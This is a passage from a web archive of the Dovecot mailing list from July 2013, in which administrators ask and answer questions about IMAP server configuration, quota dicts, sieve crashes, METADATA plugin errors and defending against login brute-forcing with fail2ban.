MAIL FROM: <test(a)test.com> 250 2.1.0 OK .................... Thank you! Regards, Dmitry

2 1

[Dovecot] popup to all users ?
by Frank Bonnet 05 Jul '13

05 Jul '13

Hello I need to have a information popup will be send when my thunderbird's users connect to our server. Is there a function in Dovecot to do so ? Thank you

7 7

[Dovecot] IMAP Cannot Delete (Mailbox Doesn't exist)
by gw1500se 05 Jul '13

05 Jul '13

I am now at the next layer of the onion. I am able to retrieve mail but I cannot delete mail from my inbox. My reader says the server is responding with "mailbox does not exist." Any ideas? TIA. -- View this message in context: http://dovecot.2317879.n4.nabble.com/IMAP-Cannot-Delete-Mailbox-Doesn-t-exi… Sent from the Dovecot mailing list archive at Nabble.com.

3 5

[Dovecot] CaCert certificate configuration help needed
by gw1500se 04 Jul '13

04 Jul '13

I was not able to find specific help for configuring the crt file for CaCert. I gleaned from examples the following order: server certificate CaCert class 3 certificate Cacert root certificate However, when I try to configure my mail reading for IMAP, Dovecot shows the following error in the log: dovecot: imap-login: Aborted login (no auth attempts): I am assuming, based on searches for this error, that my crt file is not correct but I don't know what to do at this point. Can someone steer me in the right direction? TIA. -- View this message in context: http://dovecot.2317879.n4.nabble.com/CaCert-certificate-configuration-help-… Sent from the Dovecot mailing list archive at Nabble.com.

3 7

[Dovecot] dovecot 2.2 Panic: pool_data_stack_realloc(): stack frame changed
by Dimos Alevizos 04 Jul '13

04 Jul '13

Hi again, we've been trying dovecot 2.2 in our setup and we see thousands of messages like these : Jul 4 12:29:47 pop01 dovecot: lmtp(2899): Debug: auth input: rigakis2(a)otenet.gr home=/var/mail/folders/U/9/5/rigakis2 quota_rule=*:storage=50M uid=531846 gid=100 mail=mbox:~/:INBOX=/var/mail/U/9/5 /rigakis2:INDEX=/indexes/4/1/b/rigakis2@otenet.gr Jul 4 12:29:47 pop01 dovecot: lmtp(2899): Debug: Added userdb setting: mail=mbox:~/:INBOX=/var/mail/U/9/5/rigakis2:INDEX=/indexes/4/1/b/rigakis2@otenet.gr Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: Effective uid=531846, gid=100, home=/var/mail/folders/U/9/5/rigakis2 Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: Quota root: name=User quota backend=dict args=:noenforcing:proxy::sqlquota Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: Quota rule: root=User quota mailbox=* bytes=52428800 messages=0 Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: Quota grace: root=User quota bytes=5242880 (10%) Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: dict quota: user=rigakis2(a)otenet.gr, uri=proxy::sqlquota, noenforcing=1 Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: fs: root=/var/mail/folders/U/9/5/rigakis2, index=/indexes/4/1/b/rigakis2(a)otenet.gr, indexpvt=, control=, inbox=/var/mail/U/9/5/ rigakis2, alt= Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: sieve: Pigeonhole version 0.4.0 initializing Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: sieve: include: sieve_global_dir is not set; it is currently not possible to include `:global' scripts. Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: o6pTL5k/1VFTCwAAYg/qxw: sieve: using the following location for user's Sieve script: /var/mail/folders/U/9/5/rigakis2/.sieve;na me=main script Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: o6pTL5k/1VFTCwAAYg/qxw: sieve: loading script /var/mail/folders/U/9/5/rigakis2/.sieve;name=main script Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: o6pTL5k/1VFTCwAAYg/qxw: sieve: script binary /var/mail/folders/U/9/5/rigakis2/.sieve.svbin successfully loaded Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: o6pTL5k/1VFTCwAAYg/qxw: sieve: binary save: not saving binary /var/mail/folders/U/9/5/rigakis2/.sieve.svbin, because it is alre ady stored Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Debug: o6pTL5k/1VFTCwAAYg/qxw: sieve: executing script from /var/mail/folders/U/9/5/rigakis2/.sieve.svbin Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Panic: pool_data_stack_realloc(): stack frame changed Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Error: Raw backtrace: /opt/dovecot-2.2.4/lib/dovecot/libdovecot.so.0 [0x2b0066488bb0] -> /opt/dovecot-2.2.4/lib/dovecot/libdovecot.so. 0 [0x2b0066488c06] -> /opt/dovecot-2.2.4/lib/dovecot/libdovecot.so.0 [0x2b0066487dc3] -> /opt/dovecot-2.2.4/lib/dovecot/libdovecot.so.0 [0x2b006649c5d1] -> /opt/dovecot-2.2.4/lib/dovecot/libdovecot .so.0 [0x2b00664844ef] -> /opt/dovecot-2.2.4/lib/dovecot/libdovecot.so.0(buffer_write+0xf6) [0x2b0066484956] -> /opt/dovecot-2.2.4/lib/dovecot/libdovecot-sieve.so.0(rfc2822_header_append+0x35) [0x2 b0066b2c695] -> /opt/dovecot-2.2.4/lib/dovecot/libdovecot-sieve.so.0(rfc2822_header_printf+0xbd) [0x2b0066b2cbdd] -> /opt/dovecot-2.2.4/lib/dovecot/libdovecot-sieve.so.0 [0x2b0066b6141c] -> /opt/do vecot-2.2.4/lib/dovecot/libdovecot-sieve.so.0 [0x2b0066b5fd63] -> /opt/dovecot-2.2.4/lib/dovecot/libdovecot-sieve.so.0(sieve_result_execute+0x220) [0x2b0066b407b0] -> /opt/dovecot-2.2.4/lib/dovecot /libdovecot-sieve.so.0(sieve_execute+0x Jul 4 12:29:47 pop01 dovecot: lmtp(2899, rigakis2(a)otenet.gr) Fatal: master: service(lmtp): child 2899 killed with signal 6 (core not dumped) I tried to get a core dump but I can't, apparently I'm doing something wrong. Any ideas ? dovecot -n : # 2.2.4: /opt/dovecot-2.2.4/etc/dovecot/dovecot.conf # OS: Linux 2.6.18-348.6.1.el5 x86_64 CentOS release 5.9 (Final) auth_cache_negative_ttl = 10 mins auth_cache_size = 5 M auth_cache_ttl = 10 mins auth_verbose = yes default_client_limit = 5000 default_process_limit = 500 deliver_log_format = msgid=%m: from=%f size=%p %$ dict { sqlquota = mysql:/opt/dovecot/etc/dovecot/dovecot-dict-sql.conf.ext } disable_plaintext_auth = no first_valid_uid = 20 lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes listen = * log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = OTENET ready login_trusted_networks = 83.235.66.0/24 mail_access_groups = mail otemail disk root mail_fsync = always mail_nfs_index = yes mail_nfs_storage = yes mail_plugins = quota managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave imapflags notify mbox_lock_timeout = 3 secs mbox_read_locks = dotlock fcntl mmap_disable = yes passdb { args = /opt/dovecot/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { mail_log_events = delete undelete expunge copy mailbox_delete mailbox_rename flag_change append mail_log_fields = uid box msgid size quota = dict:User quota::noenforcing:proxy::sqlquota sieve = ~/.sieve sieve_dir = ~/sieve sieve_extensions = +notify +imapflags } postmaster_address = postmaster(a)otenet.gr quota_full_tempfail = yes service auth-worker { user = dovenull } service dict { unix_listener dict { group = otemail mode = 0666 } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service lmtp { client_limit = 1 inet_listener lmtp { port = 24 } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service quota-warning { executable = script /opt/dovecot/etc/dovecot/quota-warning.sh user = dovecot } ssl = no userdb { args = /opt/dovecot/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } verbose_proctitle = yes protocol lmtp { mail_plugins = quota sieve } protocol lda { mail_plugins = quota sieve } protocol imap { imap_client_workarounds = delay-newmail tb-extra-mailbox-sep mail_max_userip_connections = 100 mail_plugins = quota imap_quota notify } protocol pop3 { mail_max_userip_connections = 100 mail_plugins = quota notify pop3_client_workarounds = outlook-no-nuls oe-ns-eoh pop3_fast_size_lookups = yes pop3_lock_session = yes pop3_reuse_xuidl = yes pop3_uidl_format = %08Xu%08Xv }

1 1

[Dovecot] namespace delivery question
by Laszlo Kiraly 04 Jul '13

04 Jul '13

Hi list, I like to have public mailboxes in addition to other private in the same domain, and manage the public mailbox permissions through acls. For example: info(a)domain.com <- public, readable by user2 user1(a)domain.com <- private user2(a)domain.com <- private The mailboxes are virtual, authentication through pam (kerberos). The public mailbox doesn't have valid kerberos account. My smtp server is exim 4.80. I set the mail delivery to lmtp. I couldn't find solution in the documentation, how can I manage the email delivery to the public namespace? There is a -m option in the lda delivery where you can give namespace prefix. Maybe it's good for this, but I couldn't find any information how can I do this with lmtp? my dovecot config: test:~# dovecot -n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.0.0-1-686-pae i686 Debian squeeze/sid managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { location = sdbox:/home/vmail/public/%u prefix = public. separator = . subscriptions = no type = public } namespace inbox { inbox = yes location = sdbox:/home/vmail/private/%n mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } prefix = separator = . } passdb { driver = pam } plugin { acl = vfile sieve = /home/vmail/%n/.dovecot.sieve sieve_dir = /home/vmail/%n sieve_global_dir = /home/vmail/sieve } protocols = " imap lmtp sieve" service managesieve-login { inet_listener sieve { port = 4190 } service_count = 1 } ssl_cert = </etc/dovecot/dovecot.pem ssl_key = </etc/dovecot/private/dovecot.pem userdb { args = uid=1035 gid=8 home=/home/vmail/%Lu allow_all_users=yes driver = static } protocol lmtp { mail_plugins = " sieve" } protocol lda { mail_plugins = " sieve" } protocol sieve { mail_max_userip_connections = 10 managesieve_implementation_string = Dovecot Pigeonhole managesieve_logout_format = bytes=%i/%o managesieve_max_line_length = 65536 } Best regards: László Király

5 15

[Dovecot] dnsbl feature for dovecot
by John Fawcett 04 Jul '13

04 Jul '13

dnsbl's are a popular method to prevent listed ips from making connections to mta software. cf. postscreen_dnsbl_sites in postfix Would it be possible to introduce such a feature in dovecot, so that connections can be denied based on a dnsbl lookup (where the precise dnsbls used are configurable)? John

8 20

[Dovecot] tcpwrappers
by lejeczek 04 Jul '13

04 Jul '13

hi everybody having I believe sort of plain-vanilla config with section in 10-tcpwrapper.conf as per docs login_access_sockets = tcpwrap service tcpwrap { unix_listener login/tcpwrap { group = $default_login_user mode = 0600 user = $default_login_user } } /etc/hosts.deny contains: ALL: given_host and yet dovecot logins IMAP client in whereas other tcpwrapper aware services act as expected what am I missing? regards

1 1

[Dovecot] flat file in tmpfs for dict quota
by Ken A 04 Jul '13

04 Jul '13

I'm using dict quota like so: quota = dict:User quota::file:/[path]/quotas/%u [path]/quotas/ is a tmpfs. The idea is to do less work on disk. Other than forcing dovecot to rebuild quotas on a reboot, are there any downsides? Thanks, Ken -- Ken Anderson Pacific Internet - http://www.pacific.net

3 3

Re: [Dovecot] dnsbl feature for dovecot
by Joseph Tam 04 Jul '13

04 Jul '13

Professa Dementia writes: > 2) Fail2Ban with rules that seem like they are pretty weak, but trust > me, they work fine and you limit complaints from users. > > a) If you get 3 invalid login attempts within a minute from more than > 1 IP address, block that login for 10 minutes. If you have blocked a > login and another attempt to log in to that account is made then tarpit > that connection. Usually 60 seconds is sufficient. Do not extend the > original block time past the original 10 minutes. > b) If you get 5 invalid login attempts within a minute from the same > IP, block that IP for 5 minutes. This is usually a valid user who > forgot their password, as opposed to a) which is usually a malicious > third party. Looking at my POP3/IMAP logs, users enter wrong passwords all the time, then their mail client keeps trying to re-authenticate, giving the appearance of a slow rolling BFD. For example, I just grabbed this typical sample Jul 2 13:24:48 dovecot: imap-login: Aborted login (auth failed, 1 attempts in 5 secs): user=<x> ... Jul 2 13:26:03 dovecot: imap-login: Aborted login (auth failed, 1 attempts in 5 secs): user=<x> ... Jul 2 13:26:13 dovecot: imap-login: Aborted login (auth failed, 1 attempts in 9 secs): user=<x> ... Jul 2 13:26:37 dovecot: imap-login: Aborted login (auth failed, 1 attempts in 5 secs): user=<x> ... Jul 2 13:26:43 dovecot: imap-login: Aborted login (auth failed, 1 attempts in 5 secs): user=<x> ... Jul 2 13:27:08 dovecot: imap-login: Aborted login (auth failed, 1 attempts in 5 secs): user=<x> ... Jul 2 13:27:14 dovecot: imap-login: Aborted login (auth failed, 1 attempts in 5 secs): user=<x> ... Jul 2 13:27:30 dovecot: imap-login: Aborted login (auth failed, 1 attempts in 5 secs): user=<x> ... Jul 2 13:27:36 dovecot: imap-login: Aborted login (auth failed, 1 attempts in 5 secs): user=<x> ... Jul 2 13:27:51 dovecot: imap-login: Aborted login (auth failed, 1 attempts in 5 secs): user=<x> ... Brute force attempts are more intense, so I think these rules can be set harder to not risk plunking your users into blacklist hell. Also, some common role account (that don't exist on my system e.g. "admin") will trigger an immediate blacklist here -- an easy way to shortcut the process. > I feel your pain and frustration. I do not believe there is an RBL list > of offending IP's for brute force attacks ... Maybe http://www.blocklist.de/en/index.html I use it for ssh BFD blocking, and it detects 2/3 of the IPs trying to do attempts. On their web page, they also list FTP, Web, and Mail login brute forcers, although I'm not sure whether "Mail" logins means IMAP, POP, SMTP-AUTH, or all of them. You can also integrate this with fail2ban so that not only can you use it to block, but can also contribute to the global detection of brute forcers. Joseph Tam <jtam.home(a)gmail.com>

2 1

[Dovecot] Released Pigeonhole v0.4.1 for Dovecot v2.2.4.
by Stephan Bosch 03 Jul '13

03 Jul '13

Hello Dovecot users, Now that I am not preoccupied anymore, I quickly release a new version of Pigeonhole for Dovecot v2.2. This consists mainly of bug fixes. One new feature is that the Sieve plugin will try to pass temporary failures (e.g. from mail storage) back to LDA/LMTP as much as possible. However, this change turned out a little bigger than I would have liked, so experiment with it a bit before you deploy it in production. Changelog v0.4.1: + Added support for handling temporary failures. These are passed back to LDA/LTMP to produce an appropriate response towards the MTA. - Sieve storage: Removed PATH_MAX limitation for active symlink. This caused problems for GNU/Hurd. - Fixed line endings in X-Sieve headers added by redirect command. - ManageSieve: Fixed '[' ']' stupidity for response codes (only happened before login). - Fixed setting name in example-config/conf.d/20-managesieve.conf. - Sieve extprograms plugin: Fixed interaction between pipe command and remote script service. The output from the script service was never read, causing a broken pipe error at the script service. Apparently, this was broken since the I/O handling for extprograms was last revised. - Fixed assertion failure due to datastack problem in message header composition. The release is available as follows: http://www.rename-it.nl/dovecot/2.2/dovecot-2.2-pigeonhole-0.4.1.tar.gz http://www.rename-it.nl/dovecot/2.2/dovecot-2.2-pigeonhole-0.4.1.tar.gz.sig Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this new release and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan(a)rename-it.nl

1 0

[Dovecot] Creating an authenticated user master user
by Chris Bullock 03 Jul '13

03 Jul '13

dovecot --version 1.1.18 mbox format We are trying to migrate from dovecot to another imap server and need some help migrating the user data to the new server. We have written a perl script to migrate the data but it seems that we need an "authenticated or Master user" in order for the script to access the user mail boxes without the users password. We are using PAM authentication, and root does not have access to the user's mail boxes. Any help would be appreciated. Chris

1 0

[Dovecot] lmtp: Disable Delivered-To header
by Micha Krause 03 Jul '13

03 Jul '13

Hi, using LMTP, is it possible to disable the addition of the Delivered-To header to messages? Micha Krause

4 4

[Dovecot] Who all accessed my dovecot server?
by pvsuja 03 Jul '13

03 Jul '13

Hi, I have set up a mail server with dovecot as IMAP/POP3 server, postfix as MTA and roundcube as web mail client. Other mail clients such as Thunderbird is also being used for mail access. Now as a security policy in our organization, I want to know the IP addresses of the machines from which my mail server was accessed. Is there any monitoring tools to get these details? Regards, Suja -- View this message in context: http://dovecot.2317879.n4.nabble.com/Who-all-accessed-my-dovecot-server-tp4… Sent from the Dovecot mailing list archive at Nabble.com.

3 3

[Dovecot] dovecot corrupted transaction log
by John Fawcett 03 Jul '13

03 Jul '13

Hi I came across this error which happend immedately after a mail delivery to the inbox. Should I look for the problem externally to dovecot (ie. file system, operating system) or within dovecot? I never saw this error before installing 2.2.1, with 2.2.2 I seemed to get even more of them so currently back on 2.2.1 Thanks John Jun 11 00:00:05 rosalia dovecot: imap(myemail@mydomain): Error: Corrupted transaction log file /var/vmail/mydomain/myemail(a)mydomain/dovecot.index.log seq 311: file size shrank (1184 < 1304) (sync_offset=1304) Jun 11 00:00:05 rosalia dovecot: imap(myemail@mydomain): Error: Index /var/vmail/mydomain/myemail(a)mydomain/dovecot.index: Lost log for seq=310 offset=32816 Jun 11 00:00:05 rosalia dovecot: imap(myemail@mydomain): Warning: fscking index file /var/vmail/mydomain/myemail(a)mydomain/dovecot.index Jun 11 00:00:05 rosalia dovecot: imap(myemail@mydomain): Error: Index /var/vmail/mydomain/myemail(a)mydomain/dovecot.index: Lost log for seq=310 offset=32816 Jun 11 00:00:05 rosalia dovecot: imap(myemail@mydomain): Warning: fscking index file /var/vmail/mydomain/myemail(a)mydomain/dovecot.index Jun 11 00:00:05 rosalia dovecot: imap(myemail@mydomain): Error: /var/vmail/mydomain/myemail(a)mydomain/dovecot.index log position went backwards (310,32816 < 311,1304) Jun 11 00:00:05 rosalia dovecot: imap(myemail@mydomain): Error: Index /var/vmail/mydomain/myemail(a)mydomain/dovecot.index: Lost log for seq=310 offset=32816 Jun 11 00:00:05 rosalia dovecot: imap(myemail@mydomain): Warning: fscking index file /var/vmail/mydomain/myemail(a)mydomain/dovecot.index Jun 11 00:00:05 rosalia dovecot: imap(myemail@mydomain): Disconnected: Internal error occurred. Refer to server log for more information. [2013-06-11 00:00:05] in=5596 out=27722 Jun 11 00:02:11 rosalia dovecot: imap-login: Login: user=<myemail@mydomain>, method=PLAIN, rip=81.174.4.175, lip=80.237.194.64, mpid=5824, TLS, session=<lGC47tPexABRrgSv> Jun 11 00:02:11 rosalia dovecot: imap(myemail@mydomain): Error: Transaction log file /var/vmail/mydomain/myemail(a)mydomain/dovecot.index.log: marked corrupted

2 4

[Dovecot] Dovecot METADATA plugin configuration
by Sergey Sidlyarenko 02 Jul '13

02 Jul '13

Debian Wheezy dovecot 2.2.4 (deb http://xi.rename-it.nl/debian/ stable-auto/dovecot-2.2.patched main) dovecot-metadata-plugin v14 /var/lib/dovecot 777 dovecot:dovecot /var/lib/dovecot/shared-metadata 700 dovecot:dovecot /var/run/dovecot 777 dovecot:dovecot /var/run/divecot/dict 666 mail:dovecot Test1 - create calendar UTF7 mailbox (no errors in dovecot-error.log): [02-Jul-2013 15:47:51 +0400]: [4419] S: * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Welcome to TU FKP IMAP server. [02-Jul-2013 15:47:51 +0400]: [4419] C: A0001 ID ("name" "Roundcube" "version" "1.0-git" "php" "5.4.4-14+deb7u2" "os" "Linux" "command" "/?_task=calendar&_action=calendar") [02-Jul-2013 15:47:51 +0400]: [4419] S: * ID ("name" "Dovecot") [02-Jul-2013 15:47:51 +0400]: [4419] S: A0001 OK ID completed. [02-Jul-2013 15:47:51 +0400]: [4419] C: A0002 AUTHENTICATE PLAIN [02-Jul-2013 15:47:51 +0400]: [4419] S: A0002 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS SPECIAL-USE BINARY MOVE METADATA ANNOTATEMORE] Logged in [02-Jul-2013 15:47:51 +0400]: [4419] C: A0003 CREATE &BCAEMAQxBD4ERwQ4BDk- [02-Jul-2013 15:47:51 +0400]: [4419] S: A0003 OK Create completed. [02-Jul-2013 15:47:51 +0400]: [4419] C: A0004 SUBSCRIBE &BCAEMAQxBD4ERwQ4BDk- [02-Jul-2013 15:47:51 +0400]: [4419] S: A0004 OK Subscribe completed. [02-Jul-2013 15:47:51 +0400]: [4419] C: A0005 SETMETADATA &BCAEMAQxBD4ERwQ4BDk- (/shared/vendor/kolab/folder-type event /private/vendor/kolab/folder-type NIL) [02-Jul-2013 15:47:51 +0400]: [4419] S: A0005 NO Mailbox does not exist. [02-Jul-2013 15:47:51 +0400]: [4419] C: A0006 SETMETADATA &BCAEMAQxBD4ERwQ4BDk- (/private/vendor/kolab/folder-type event) [02-Jul-2013 15:47:51 +0400]: [4419] S: A0006 NO Mailbox does not exist. [02-Jul-2013 15:47:51 +0400]: [4419] C: A0007 LIST "" "&BCAEMAQxBD4ERwQ4BDk-/*" [02-Jul-2013 15:47:51 +0400]: [4419] S: A0007 OK List completed. [02-Jul-2013 15:47:51 +0400]: [4419] C: A0008 DELETE &BCAEMAQxBD4ERwQ4BDk- [02-Jul-2013 15:47:51 +0400]: [4419] S: A0008 OK Delete completed. [02-Jul-2013 15:47:51 +0400]: [4419] C: A0009 UNSUBSCRIBE &BCAEMAQxBD4ERwQ4BDk- [02-Jul-2013 15:47:51 +0400]: [4419] S: A0009 OK Unsubscribe completed. [02-Jul-2013 15:47:51 +0400]: [4419] C: A0010 LOGOUT [02-Jul-2013 15:47:51 +0400]: [4419] S: * BYE Logging out [02-Jul-2013 15:47:51 +0400]: [4419] S: A0010 OK Logout completed. Test2 - create calendar ASCII mailbox: [02-Jul-2013 15:51:20 +0400]: [2611] S: * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Welcome to TU FKP IMAP server. [02-Jul-2013 15:51:20 +0400]: [2611] C: A0001 ID ("name" "Roundcube" "version" "1.0-git" "php" "5.4.4-14+deb7u2" "os" "Linux" "command" "/?_task=calendar&_action=calendar") [02-Jul-2013 15:51:20 +0400]: [2611] S: * ID ("name" "Dovecot") [02-Jul-2013 15:51:20 +0400]: [2611] S: A0001 OK ID completed. [02-Jul-2013 15:51:20 +0400]: [2611] C: A0002 AUTHENTICATE PLAIN [02-Jul-2013 15:51:20 +0400]: [2611] S: A0002 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS SPECIAL-USE BINARY MOVE METADATA ANNOTATEMORE] Logged in [02-Jul-2013 15:51:20 +0400]: [2611] C: A0003 CREATE Work [02-Jul-2013 15:51:20 +0400]: [2611] S: A0003 OK Create completed. [02-Jul-2013 15:51:20 +0400]: [2611] C: A0004 SUBSCRIBE Work [02-Jul-2013 15:51:20 +0400]: [2611] S: A0004 OK Subscribe completed. [02-Jul-2013 15:51:20 +0400]: [2611] C: A0005 SETMETADATA Work (/shared/vendor/kolab/folder-type event /private/vendor/kolab/folder-type NIL) [02-Jul-2013 15:51:50 +0400]: [2611] S: A0005 NO Setting entry failed. [02-Jul-2013 15:51:50 +0400]: [2611] C: A0006 SETMETADATA Work (/private/vendor/kolab/folder-type event) [02-Jul-2013 15:52:20 +0400]: [2611] S: A0006 NO Setting entry failed. [02-Jul-2013 15:52:20 +0400]: [2611] C: A0007 LIST "" "Work/*" [02-Jul-2013 15:52:20 +0400]: [2611] S: A0007 OK List completed. [02-Jul-2013 15:52:20 +0400]: [2611] C: A0008 DELETE Work [02-Jul-2013 15:52:20 +0400]: [2611] S: A0008 OK Delete completed. [02-Jul-2013 15:52:20 +0400]: [2611] C: A0009 UNSUBSCRIBE Work [02-Jul-2013 15:52:20 +0400]: [2611] S: A0009 OK Unsubscribe completed. [02-Jul-2013 15:52:20 +0400]: [2611] C: A0010 LOGOUT [02-Jul-2013 15:52:20 +0400]: [2611] S: * BYE Logging out [02-Jul-2013 15:52:20 +0400]: [2611] S: A0010 OK Logout completed. root@mail:/var/log/dovecot# cat dovecot-errors.log 2013-07-02 15:51:50 imap(admin(a)tufkp.ru): Error: read(/var/run/dovecot//dict) failed: Timeout after 30 seconds 2013-07-02 15:51:50 imap(admin(a)tufkp.ru): Error: metadata: dict commit failed 2013-07-02 15:52:20 imap(admin(a)tufkp.ru): Error: read(/var/run/dovecot//dict) failed: Timeout after 30 seconds 2013-07-02 15:52:20 imap(admin(a)tufkp.ru): Error: metadata: dict commit failed 2013-07-02 15:53:21 dict: Error: file dict commit: file_dotlock_open(/var/lib/dovecot/shared-metadata/) failed: Resource temporarily unavailable 2013-07-02 15:53:53 dict: Error: file dict commit: file_dotlock_open(/var/lib/dovecot/shared-metadata/) failed: Resource temporarily unavailable root@mail:/etc/dovecot# doveconf # 2.2.4: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.1 ext4 # NOTE: Send doveconf -n output instead when asking for help. auth_anonymous_username = anonymous auth_cache_negative_ttl = 10 secs auth_cache_size = 10 M auth_cache_ttl = 2 mins auth_debug = no auth_debug_passwords = no auth_default_realm = auth_failure_delay = 2 secs auth_gssapi_hostname = auth_krb5_keytab = auth_master_user_separator = * auth_mechanisms = plain login auth_proxy_self = auth_realms = auth_socket_path = auth-userdb auth_ssl_require_client_cert = no auth_ssl_username_from_cert = no auth_use_winbind = no auth_username_chars = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@ auth_username_format = %Lu auth_username_translation = auth_verbose = no auth_verbose_passwords = no auth_winbind_helper_path = /usr/bin/ntlm_auth auth_worker_max_count = 4096 base_dir = /var/run/dovecot/ config_cache_size = 1 M debug_log_path = default_client_limit = 8192 default_idle_kill = 1 mins default_internal_user = dovecot default_login_user = dovenull default_process_limit = 2048 default_vsz_limit = 2 G deliver_log_format = msgid=%m: %$ dict { expire = pgsql:/etc/dovecot/dovecot-dict-expire.conf metadata = file:/var/lib/dovecot/shared-metadata/ } dict_db_config = director_doveadm_port = 0 director_mail_servers = director_servers = director_user_expire = 15 mins director_username_hash = %u disable_plaintext_auth = yes dotlock_use_excl = yes doveadm_allowed_commands = doveadm_password = doveadm_port = 0 doveadm_socket_path = doveadm-server doveadm_worker_count = 0 dsync_alt_char = _ dsync_remote_cmd = ssh -l%{login} %{host} doveadm dsync-server -u%u -U first_valid_gid = 8 first_valid_uid = 8 hostname = imap_capability = imap_client_workarounds = imap_id_log = imap_id_send = name * imap_idle_notify_interval = 2 mins imap_logout_format = in=%i out=%o imap_max_line_length = 64 k imap_urlauth_host = imap_urlauth_logout_format = in=%i out=%o imap_urlauth_port = 143 imap_urlauth_submit_password = imap_urlauth_submit_user = submission imapc_features = imapc_host = imapc_list_prefix = imapc_master_user = imapc_max_idle_time = 29 mins imapc_password = imapc_port = 143 imapc_rawlog_dir = imapc_ssl = no imapc_ssl_verify = yes imapc_user = import_environment = TZ info_log_path = /var/log/dovecot/dovecot.log instance_name = dovecot last_valid_gid = 8 last_valid_uid = 8 lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes lda_original_recipient_header = libexec_dir = /usr/lib/dovecot listen = *, [::] lmtp_address_translate = lmtp_proxy = no lmtp_rcpt_check_quota = no lmtp_save_to_detail_mailbox = no lock_method = fcntl log_path = /var/log/dovecot/dovecot-errors.log log_timestamp = "%Y-%m-%d %H:%M:%S " login_access_sockets = login_greeting = Welcome to IMAP server. login_log_format = %$: %s login_log_format_elements = user=<%u> method=%m rip=%r lip=%l %c login_trusted_networks = 127.0.0.1 mail_access_groups = mail_always_cache_fields = mail_attachment_dir = mail_attachment_fs = sis posix mail_attachment_hash = %{sha1} mail_attachment_min_size = 128 k mail_attribute_dict = mail_cache_fields = flags mail_cache_min_mail_count = 0 mail_chroot = mail_debug = no mail_fsync = optimized mail_full_filesystem_access = no mail_gid = 8 mail_home = mail_location = maildir:/var/mail/%d/%n:LAYOUT=fs:INBOX=/var/mail/%d/%n/maildirfolder:DIRNAME=maildirfolder:INDEX=/var/mail/indexes/%d/%n mail_log_prefix = "%s(%u): " mail_max_keyword_length = 50 mail_max_lock_timeout = 0 mail_max_userip_connections = 1024 mail_never_cache_fields = imap.envelope mail_nfs_index = no mail_nfs_storage = no mail_plugin_dir = /usr/lib/dovecot/modules mail_plugins = virtual expire metadata mail_prefetch_count = 0 mail_privileged_group = mail mail_save_crlf = no mail_shared_explicit_inbox = no mail_temp_dir = /tmp mail_temp_scan_interval = 1 weeks mail_uid = 8 mailbox_idle_check_interval = 30 secs mailbox_list_index = no maildir_broken_filename_sizes = no maildir_copy_with_hardlinks = yes maildir_stat_dirs = no maildir_very_dirty_syncs = no managesieve_client_workarounds = 